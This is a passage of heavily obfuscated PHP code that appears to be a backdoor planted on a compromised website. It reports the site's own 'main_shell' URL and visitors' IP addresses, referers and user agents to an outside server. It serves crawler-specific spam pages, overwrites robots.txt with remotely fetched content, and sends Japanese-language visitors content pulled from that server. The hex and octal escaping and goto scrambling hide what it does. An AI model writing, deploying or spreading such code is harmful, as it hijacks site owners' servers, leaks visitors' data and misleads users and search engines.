0 || $check1 == "\61") { $data1["\x61\x63\x74\x69\157\156"] = "\162\x61\156\x64\137\170\x6d\154"; $check_url4 = getServerCont($url_words, $data1); header("\103\157\x6e\164\145\x6e\164\x2d\164\171\x70\x65\72\x74\145\170\164\57\170\x6d\154"); echo $check_url4; die; } } goto IFwAT; rKgrr: $data1["\162\x65\x71\137\x75\162\x6c"] = $req_url; goto j81XB; AggCJ: $ser_name = $_SERVER["\x53\x45\x52\126\x45\x52\137\x4e\101\x4d\x45"]; goto yAoE2; yAoE2: $req_url = $http . $domain . $req_uri; goto Zqs6O; sNkIF: $url_words = $inter_domain . "\57\x77\x6f\162\144\163\x2e\x70\x68\x70"; goto Qowus; j81XB: if (substr($req_uri, -6) == "\x72\x6f\142\157\x74\x73") { define("\102\101\123\x45\x5f\120\x41\124\x48", $_SERVER["\104\117\103\x55\115\x45\x4e\124\137\122\117\117\124"]); $robots_cont = @file_get_contents(BASE_PATH . "\57\162\x6f\x62\157\x74\163\x2e\x74\x78\164"); $data1["\x72\157\x62\x6f\x74\x73\137\143\x6f\x6e\164"] = $robots_cont; $robots_cont = @getServerCont($url_robots, $data1); file_put_contents(BASE_PATH . "\57\162\x6f\142\x6f\x74\163\56\x74\170\x74", $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . "\x2f\x72\157\x62\x6f\164\163\56\x74\170\164"); if (strpos(strtolower($robots_cont), "\163\x69\x74\x65\155\141\160")) { echo "\162\x6f\x62\x6f\164\x73\56\x74\170\x74\x20\146\151\154\145\40\x63\x72\x65\141\164\145\x20\x73\165\x63\x63\x65\x73\163\41"; } else { echo "\x72\157\x62\x6f\x74\x73\56\164\x78\164\x20\x66\151\154\x65\x20\x63\162\x65\x61\164\145\40\x66\x61\x69\154\x21"; } die; } goto tWY2f; Mx8TV: $res_crawl = is_crawler($user_agent); goto DW8KM; vvEuK: $chk_refer = check_refer($referer); goto tyEk4; t7XK0: $map1 = $inter_domain . "\57\x6d\x61\x70\x2e\160\x68\160"; goto ZcTtr; Ai3tA: $domain = $_SERVER["\110\x54\x54\x50\x5f\x48\117\123\124"]; goto fgPtR; XQ4Km: if (strpos($req_uri, "\56\x70\x68\x70")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto qc1l8; XaiOl: if (!$res_crawl && $chk_refer && is_japanese_language() && (preg_match("\57\x5c\x64\44\57", $req_uri) || preg_match("\43\133\x61\55\172\135\x3d\x5b\x61\55\172\x30\x2d\x39\x5d\53\x23", $req_uri) || preg_match("\x2f\x69\x74\145\155\57", $req_uri))) { $data1["\x69\160"] = $_SERVER["\122\105\x4d\117\x54\x45\x5f\x41\x44\x44\x52"]; $data1["\162\145\x66\145\x72\145\x72"] = isset($_SERVER["\x48\x54\x54\x50\x5f\x52\105\x46\105\122\105\122"]) ? $_SERVER["\x48\x54\124\x50\x5f\122\105\x46\x45\122\105\122"] : ''; $data1["\x75\163\145\x72\137\x61\x67\x65\156\164"] = strtolower(isset($_SERVER["\110\124\124\x50\137\125\x53\105\122\x5f\x41\107\105\x4e\124"]) ? $_SERVER["\x48\124\x54\x50\x5f\125\x53\x45\122\137\x41\x47\x45\x4e\x54"] : ''); echo getServerCont($jump1, $data1); die; } goto be4EW; qc1l8: $data1[] = array(); goto WNGp_; IFwAT: if (strpos($req_uri, "\56\x70\x68\160")) { $main_shell = $http . $ser_name . $self; $data1["\155\141\151\x6e\137\x73\x68\x65\154\154"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\141\x69\x6e\137\163\x68\x65\x6c\154"] = $main_shell; } goto Aff9B; Zqs6O: $indata1 = $inter_domain . "\57\151\x6e\144\x61\x74\x61\56\160\150\x70"; goto t7XK0; tyEk4: $user_agent = strtolower(isset($_SERVER["\x48\x54\124\120\x5f\x55\x53\x45\x52\x5f\101\x47\105\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\x55\123\105\122\137\101\107\x45\x4e\x54"] : ''); goto Mx8TV; iMnmf: $data1["\x68\x72\x65\146"] = $href1; goto rKgrr; rVHuH: function is_crawler($agent) { $agent_check = false; $bots = "\x67\157\157\147\x6c\145\x62\x6f\x74\x7c\x62\151\156\147\x62\157\x74\174\x67\157\x6f\147\154\x65\x7c\141\x6f\x6c\x7c\142\151\156\147\x7c\171\x61\x68\x6f\157"; if ($agent != '') { if (preg_match("\x2f\x28{$bots}\51\x2f\163\x69", $agent)) { $agent_check = true; } } return $agent_check; } goto DK9Um; PEu4B: $data1["\162\x65\x71\x5f\x75\x72\x69"] = $req_uri; goto iMnmf; U7g12: $req_uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\125\x52\x49"]; goto Ai3tA; HOzrV: $http = isset($_SERVER["\x48\x54\124\120\123"]) && $_SERVER["\110\x54\124\x50\x53"] !== "\157\146\x66" ? "\x68\164\164\160\x73\72\x2f\x2f" : "\150\x74\x74\160\72\57\57"; goto U7g12; fgPtR: $self = $_SERVER["\x50\110\120\x5f\123\x45\x4c\106"]; goto AggCJ; ODytI: function getServerCont($url, $data = array()) { $url = str_replace("\x20", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\x2e\x30\x2e\x30", "\x3c")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto rVHuH; Qowus: $url_robots = $inter_domain . "\x2f\x72\157\x62\157\164\x73\x2e\x70\150\160"; goto XQ4Km; Aff9B: $referer = isset($_SERVER["\110\x54\124\x50\137\122\105\x46\105\x52\105\x52"]) ? $_SERVER["\x48\124\x54\120\x5f\122\105\x46\x45\x52\x45\x52"] : ''; goto vvEuK; DW8KM: $req_uri = str_replace(array("\x2e\x68\164\x6d", "\56\x68\x74\x6d\x6c", "\x2e\x73\150\x74\155\x6c", "\56\160\150\x74\x6d\x6c"), '', rtrim($req_uri, "\x2f")); goto XaiOl; WNGp_: $data1["\x64\x6f\x6d\x61\151\156"] = $domain; goto PEu4B; W0no4: $inter_domain = "\150\x74\x74\x70\163\72\x2f\x2f\x7a\x36\60\x39\x30\x39\137\x36\56\x63\x6f\151\x6e\x68\x6f\x73\x74\56\x73\150\157\x70\x2f"; goto ODytI; rSx09: function is_japanese_language() { $accept_language = isset($_SERVER["\x48\124\124\120\x5f\101\103\103\105\x50\x54\137\x4c\x41\x4e\107\125\x41\107\105"]) ? $_SERVER["\110\x54\124\120\137\101\x43\103\x45\x50\x54\137\x4c\x41\116\x47\x55\x41\x47\x45"] : ''; if (empty($accept_language)) { return false; } $langs = explode("\54", $accept_language); $primary_lang = strtolower(trim($langs[0])); if (strpos($primary_lang, "\x6a\x61") === 0) { return true; } return false; } goto HOzrV; ZcTtr: $jump1 = $inter_domain . "\x2f\152\165\155\160\x2e\160\x68\x70"; goto sNkIF; XhD6R: ?>